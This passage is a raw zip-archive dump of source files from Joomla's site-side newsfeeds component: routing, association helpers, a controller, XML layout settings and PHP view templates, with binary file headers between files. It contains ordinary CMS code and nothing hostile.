            if ($language && $language !== '*' && Multilanguage::isEnabled()) {
                $link .= '&lang=' . $language;
            }
        }

        return $link;
    }
}
PK���\�iۍ.com_newsfeeds/src/Helper/AssociationHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Helper;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\Component\Categories\Administrator\Helper\CategoryAssociationHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeeds Component Association Helper
 *
 * @since  3.0
 */
abstract class AssociationHelper extends CategoryAssociationHelper
{
    /**
     * Method to get the associations for a given item
     *
     * @param   integer  $id    Id of the item
     * @param   string   $view  Name of the view
     *
     * @return  array   Array of associations for the item
     *
     * @since  3.0
     */
    public static function getAssociations($id = 0, $view = null)
    {
        $jinput = Factory::getApplication()->getInput();
        $view   = $view ?? $jinput->get('view');
        $id     = empty($id) ? $jinput->getInt('id') : $id;

        if ($view === 'newsfeed') {
            if ($id) {
                $associations = Associations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $id);

                $return = [];

                foreach ($associations as $tag => $item) {
                    $return[$tag] = RouteHelper::getNewsfeedRoute($item->id, (int) $item->catid, $item->language);
                }

                return $return;
            }
        }

        if ($view === 'category' || $view === 'categories') {
            return self::getCategoryAssociations($id, 'com_newsfeeds');
        }

        return [];
    }
}
PK���\z�$v��$com_newsfeeds/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryFactoryInterface;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_newsfeeds
 *
 * @since  3.3
 */
class Router extends RouterView
{
    /**
     * Flag to remove IDs
     *
     * @var    boolean
     */
    protected $noIDs = false;

    /**
     * The category factory
     *
     * @var CategoryFactoryInterface
     *
     * @since  4.0.0
     */
    private $categoryFactory;

    /**
     * The category cache
     *
     * @var  array
     *
     * @since  4.0.0
     */
    private $categoryCache = [];

    /**
     * The db
     *
     * @var DatabaseInterface
     *
     * @since  4.0.0
     */
    private $db;

    /**
     * Newsfeeds Component router constructor
     *
     * @param   SiteApplication           $app              The application object
     * @param   AbstractMenu              $menu             The menu object to work with
     * @param   CategoryFactoryInterface  $categoryFactory  The category object
     * @param   DatabaseInterface         $db               The database object
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)
    {
        $this->categoryFactory = $categoryFactory;
        $this->db              = $db;

        $params      = ComponentHelper::getParams('com_newsfeeds');
        $this->noIDs = (bool) $params->get('sef_ids');
        $categories  = new RouterViewConfiguration('categories');
        $categories->setKey('id');
        $this->registerView($categories);
        $category = new RouterViewConfiguration('category');
        $category->setKey('id')->setParent($categories, 'catid')->setNestable();
        $this->registerView($category);
        $newsfeed = new RouterViewConfiguration('newsfeed');
        $newsfeed->setKey('id')->setParent($category, 'catid');
        $this->registerView($newsfeed);

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategorySegment($id, $query)
    {
        $category = $this->getCategories()->get($id);

        if ($category) {
            $path    = array_reverse($category->getPath(), true);
            $path[0] = '1:root';

            if ($this->noIDs) {
                foreach ($path as &$segment) {
                    list($id, $segment) = explode(':', $segment, 2);
                }
            }

            return $path;
        }

        return [];
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $id     ID of the category to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getCategoriesSegment($id, $query)
    {
        return $this->getCategorySegment($id, $query);
    }

    /**
     * Method to get the segment(s) for a newsfeed
     *
     * @param   string  $id     ID of the newsfeed to retrieve the segments for
     * @param   array   $query  The request that is built right now
     *
     * @return  array|string  The segments of this item
     */
    public function getNewsfeedSegment($id, $query)
    {
        if (!strpos($id, ':')) {
            $id      = (int) $id;
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('alias'))
                ->from($this->db->quoteName('#__newsfeeds'))
                ->where($this->db->quoteName('id') . ' = :id')
                ->bind(':id', $id, ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            $id .= ':' . $this->db->loadResult();
        }

        if ($this->noIDs) {
            list($void, $segment) = explode(':', $id, 2);

            return [$void => $segment];
        }

        return [(int) $id => $id];
    }

    /**
     * Method to get the id for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoryId($segment, $query)
    {
        if (isset($query['id'])) {
            $category = $this->getCategories(['access' => false])->get($query['id']);

            if ($category) {
                foreach ($category->getChildren() as $child) {
                    if ($this->noIDs) {
                        if ($child->alias === $segment) {
                            return $child->id;
                        }
                    } else {
                        if ($child->id == (int) $segment) {
                            return $child->id;
                        }
                    }
                }
            }
        }

        return false;
    }

    /**
     * Method to get the segment(s) for a category
     *
     * @param   string  $segment  Segment to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getCategoriesId($segment, $query)
    {
        return $this->getCategoryId($segment, $query);
    }

    /**
     * Method to get the segment(s) for a newsfeed
     *
     * @param   string  $segment  Segment of the newsfeed to retrieve the ID for
     * @param   array   $query    The request that is parsed right now
     *
     * @return  mixed   The id of this item or false
     */
    public function getNewsfeedId($segment, $query)
    {
        if ($this->noIDs) {
            $dbquery = $this->db->getQuery(true);
            $dbquery->select($this->db->quoteName('id'))
                ->from($this->db->quoteName('#__newsfeeds'))
                ->where(
                    [
                        $this->db->quoteName('alias') . ' = :segment',
                        $this->db->quoteName('catid') . ' = :id',
                    ]
                )
                ->bind(':segment', $segment)
                ->bind(':id', $query['id'], ParameterType::INTEGER);
            $this->db->setQuery($dbquery);

            return (int) $this->db->loadResult();
        }

        return (int) $segment;
    }

    /**
     * Method to get categories from cache
     *
     * @param   array  $options   The options for retrieving categories
     *
     * @return  CategoryInterface  The object containing categories
     *
     * @since   4.0.0
     */
    private function getCategories(array $options = []): CategoryInterface
    {
        $key = serialize($options);

        if (!isset($this->categoryCache[$key])) {
            $this->categoryCache[$key] = $this->categoryFactory->createCategory($options);
        }

        return $this->categoryCache[$key];
    }
}
PK���\����XX&com_newsfeeds/src/Service/Category.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Service;

use Joomla\CMS\Categories\Categories;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeed Component Category Tree
 *
 * @since  1.6
 */
class Category extends Categories
{
    /**
     * Constructor
     *
     * @param   array  $options  options
     */
    public function __construct($options = [])
    {
        $options['table']      = '#__newsfeeds';
        $options['extension']  = 'com_newsfeeds';
        $options['statefield'] = 'published';
        parent::__construct($options);
    }
}
PK���\���r��2com_newsfeeds/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeeds Component Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to show a newsfeeds view
     *
     * @param   boolean  $cachable   If true, the view output will be cached
     * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}.
     *
     * @return  static  This object to support chaining.
     *
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = false)
    {
        $cachable = true;

        // Set the default view name and format from the Request.
        $vName = $this->input->get('view', 'categories');
        $this->input->set('view', $vName);

        if ($this->app->getIdentity()->get('id') || ($this->input->getMethod() === 'POST' && $vName === 'category')) {
            $cachable = false;
        }

        $safeurlparams = [
            'id'               => 'INT',
            'limit'            => 'UINT',
            'limitstart'       => 'UINT',
            'filter_order'     => 'CMD',
            'filter_order_Dir' => 'CMD',
            'lang'             => 'CMD',
        ];

        return parent::display($cachable, $safeurlparams);
    }
}
PK���\�K)com_newsfeeds/tmpl/categories/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_List_All_News_Feed_Categories"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field
				name="id"
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				extension="com_newsfeeds"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">
			<field
				name="show_base_description"
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="categories_description"
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				cols="25"
				rows="5"
			/>

			<field
				name="maxLevelcat"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories_cat"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc_cat"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items_cat"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
		<fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">

			<field
				name="show_feed_image"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_feed_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_character_count"
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				filter="integer"
				useglobal="true"
			/>
		</fieldset>

	</fields>
</metadata>
PK���\_���ss)com_newsfeeds/tmpl/categories/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

// Add strings for translations in Javascript.
Text::script('JGLOBAL_EXPAND_CATEGORIES');
Text::script('JGLOBAL_COLLAPSE_CATEGORIES');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_categories');
$wa->useScript('com_categories.shared-categories-accordion');

?>
<div class="com-newsfeeds-categories categories-list">
    <?php echo LayoutHelper::render('joomla.content.categories_default', $this); ?>
    <?php echo $this->loadTemplate('items'); ?>
</div>
PK���\�u�^��/com_newsfeeds/tmpl/categories/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

?>
<?php if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) : ?>
    <?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
        <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
            <div class="com-newsfeeds-categories__items">
                <h3 class="page-header item-title">
                    <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
                        <?php echo $this->escape($item->title); ?>
                    </a>
                    <?php if ($this->params->get('show_cat_items_cat') == 1) : ?>
                        <span class="badge bg-info">
                            <?php echo Text::_('COM_NEWSFEEDS_NUM_ITEMS'); ?>&nbsp;
                            <?php echo $item->numitems; ?>
                        </span>
                    <?php endif; ?>
                    <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                        <button
                            type="button"
                            id="category-btn-<?php echo $item->id; ?>"
                            data-bs-target="#category-<?php echo $item->id; ?>"
                            data-bs-toggle="collapse"
                            class="btn btn-secondary btn-sm float-end"
                            aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
                        >
                            <span class="icon-plus" aria-hidden="true"></span>
                        </button>
                    <?php endif; ?>
                </h3>
                <?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
                    <?php if ($item->description) : ?>
                        <div class="com-newsfeeds-categories__description category-desc">
                            <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_newsfeeds.categories'); ?>
                        </div>
                    <?php endif; ?>
                <?php endif; ?>
                <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                    <div class="com-newsfeeds-categories__children collapse fade" id="category-<?php echo $item->id; ?>">
                        <?php $this->items[$item->id] = $item->getChildren(); ?>
                        <?php $this->parent = $item; ?>
                        <?php $this->maxLevelcat--; ?>
                        <?php echo $this->loadTemplate('items'); ?>
                        <?php $this->parent = $item->getParent(); ?>
                        <?php $this->maxLevelcat++; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    <?php endforeach; ?>
<?php endif; ?>
PK���\\�w���'com_newsfeeds/tmpl/newsfeed/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

?>

<?php if (!empty($this->msg)) : ?>
    <?php echo $this->msg; ?>
<?php else : ?>
    <?php $lang      = $this->getLanguage(); ?>
    <?php $myrtl     = $this->item->rtl; ?>
    <?php $direction = ' '; ?>
    <?php $isRtl     = $lang->isRtl(); ?>
    <?php if ($isRtl && $myrtl == 0) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php elseif ($isRtl && $myrtl == 1) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($isRtl && $myrtl == 2) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php elseif ($myrtl == 0) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($myrtl == 1) : ?>
        <?php $direction = ' redirect-ltr'; ?>
    <?php elseif ($myrtl == 2) : ?>
        <?php $direction = ' redirect-rtl'; ?>
    <?php endif; ?>
    <?php $images = json_decode($this->item->images); ?>
    <div class="com-newsfeeds-newsfeed newsfeed<?php echo $direction; ?>">
        <?php if ($this->params->get('display_num')) : ?>
        <h1 class="<?php echo $direction; ?>">
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
        <?php endif; ?>
        <h2 class="<?php echo $direction; ?>">
            <?php if ($this->item->published == 0) : ?>
                <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
            <?php endif; ?>
            <a href="<?php echo $this->item->link; ?>" target="_blank" rel="noopener">
                <?php echo str_replace('&apos;', "'", $this->item->name); ?>
            </a>
        </h2>

        <?php if ($this->params->get('show_tags', 1)) : ?>
            <?php $this->item->tagLayout = new FileLayout('joomla.content.tags'); ?>
            <?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
        <?php endif; ?>

        <!-- Show Images from Component -->
        <?php if (isset($images->image_first) && !empty($images->image_first)) : ?>
            <?php $imgfloat = empty($images->float_first) ? $this->params->get('float_first') : $images->float_first; ?>
            <div class="com-newsfeeds-newsfeed__first-image img-intro-<?php echo $this->escape($imgfloat); ?>">
                <figure>
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src' => $images->image_first,
                            'alt' => empty($images->image_first_alt) && empty($images->image_first_alt_empty) ? false : $images->image_first_alt,
                        ]
                    ); ?>
                    <?php if ($images->image_first_caption) : ?>
                        <figcaption class="caption"><?php echo $this->escape($images->image_first_caption); ?></figcaption>
                    <?php endif; ?>
                </figure>
            </div>
        <?php endif; ?>

        <?php if (isset($images->image_second) and !empty($images->image_second)) : ?>
            <?php $imgfloat = empty($images->float_second) ? $this->params->get('float_second') : $images->float_second; ?>
            <div class="com-newsfeeds-newsfeed__second-image float-<?php echo $this->escape($imgfloat); ?> item-image">
                <figure>
                    <?php echo LayoutHelper::render(
                        'joomla.html.image',
                        [
                            'src' => $images->image_second,
                            'alt' => empty($images->image_second_alt) && empty($images->image_second_alt_empty) ? false : $images->image_second_alt,
                        ]
                    ); ?>
                    <?php if ($images->image_second_caption) : ?>
                        <figcaption class="caption"><?php echo $this->escape($images->image_second_caption); ?></figcaption>
                    <?php endif; ?>
                </figure>
            </div>
        <?php endif; ?>
        <!-- Show Description from Component -->
        <?php echo $this->item->description; ?>
        <!-- Show Feed's Description -->

        <?php if ($this->params->get('show_feed_description')) : ?>
            <div class="com-newsfeeds-newsfeed__description feed-description">
                <?php echo str_replace('&apos;', "'", $this->rssDoc->description); ?>
            </div>
        <?php endif; ?>

        <!-- Show Image -->
        <?php if ($this->rssDoc->image && $this->params->get('show_feed_image')) : ?>
            <div class="com-newsfeeds-newsfeed__feed-image">
                <?php echo LayoutHelper::render(
                    'joomla.html.image',
                    [
                        'src' => $this->rssDoc->image->uri,
                        'alt' => $this->rssDoc->image->title,
                    ]
                ); ?>
            </div>
        <?php endif; ?>

        <!-- Show items -->
        <?php if (!empty($this->rssDoc[0])) : ?>
            <ol class="com-newsfeeds-newsfeed__items">
                <?php for ($i = 0; $i < $this->item->numarticles; $i++) : ?>
                    <?php if (empty($this->rssDoc[$i])) : ?>
                        <?php break; ?>
                    <?php endif; ?>
                    <?php $uri  = $this->rssDoc[$i]->uri || !$this->rssDoc[$i]->isPermaLink ? trim($this->rssDoc[$i]->uri) : trim($this->rssDoc[$i]->guid); ?>
                    <?php $uri  = !$uri || stripos($uri, 'http') !== 0 ? $this->item->link : $uri; ?>
                    <?php $text = $this->rssDoc[$i]->content !== '' ? trim($this->rssDoc[$i]->content) : ''; ?>
                    <li>
                        <?php if (!empty($uri)) : ?>
                            <h3 class="feed-link">
                                <a href="<?php echo htmlspecialchars($uri); ?>" target="_blank" rel="noopener">
                                    <?php echo trim($this->rssDoc[$i]->title); ?>
                                </a>
                            </h3>
                        <?php else : ?>
                            <h3 class="feed-link"><?php echo trim($this->rssDoc[$i]->title); ?></h3>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_item_description') && $text !== '') : ?>
                            <div class="feed-item-description">
                                <?php if ($this->params->get('show_feed_image', 0) == 0) : ?>
                                    <?php $text = OutputFilter::stripImages($text); ?>
                                <?php endif; ?>
                                <?php $text = HTMLHelper::_('string.truncate', $text, $this->params->get('feed_character_count')); ?>
                                <?php echo str_replace('&apos;', "'", $text); ?>
                            </div>
                        <?php endif; ?>
                    </li>
                <?php endfor; ?>
            </ol>
        <?php endif; ?>
    </div>
<?php endif; ?>
PK���\��Sm

'com_newsfeeds/tmpl/newsfeed/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE" option="COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Single_News_Feed"
		/>
		<message>
			<![CDATA[COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Newsfeeds\Administrator\Field"
		>

			<field
				name="id"
				type="modal_newsfeed"
				label="COM_NEWSFEEDS_FIELD_SELECT_FEED_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">
			<field
				name="show_feed_image"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_feed_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_character_count"
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="feed_display_order"
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\s��0�
�
'com_newsfeeds/tmpl/category/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

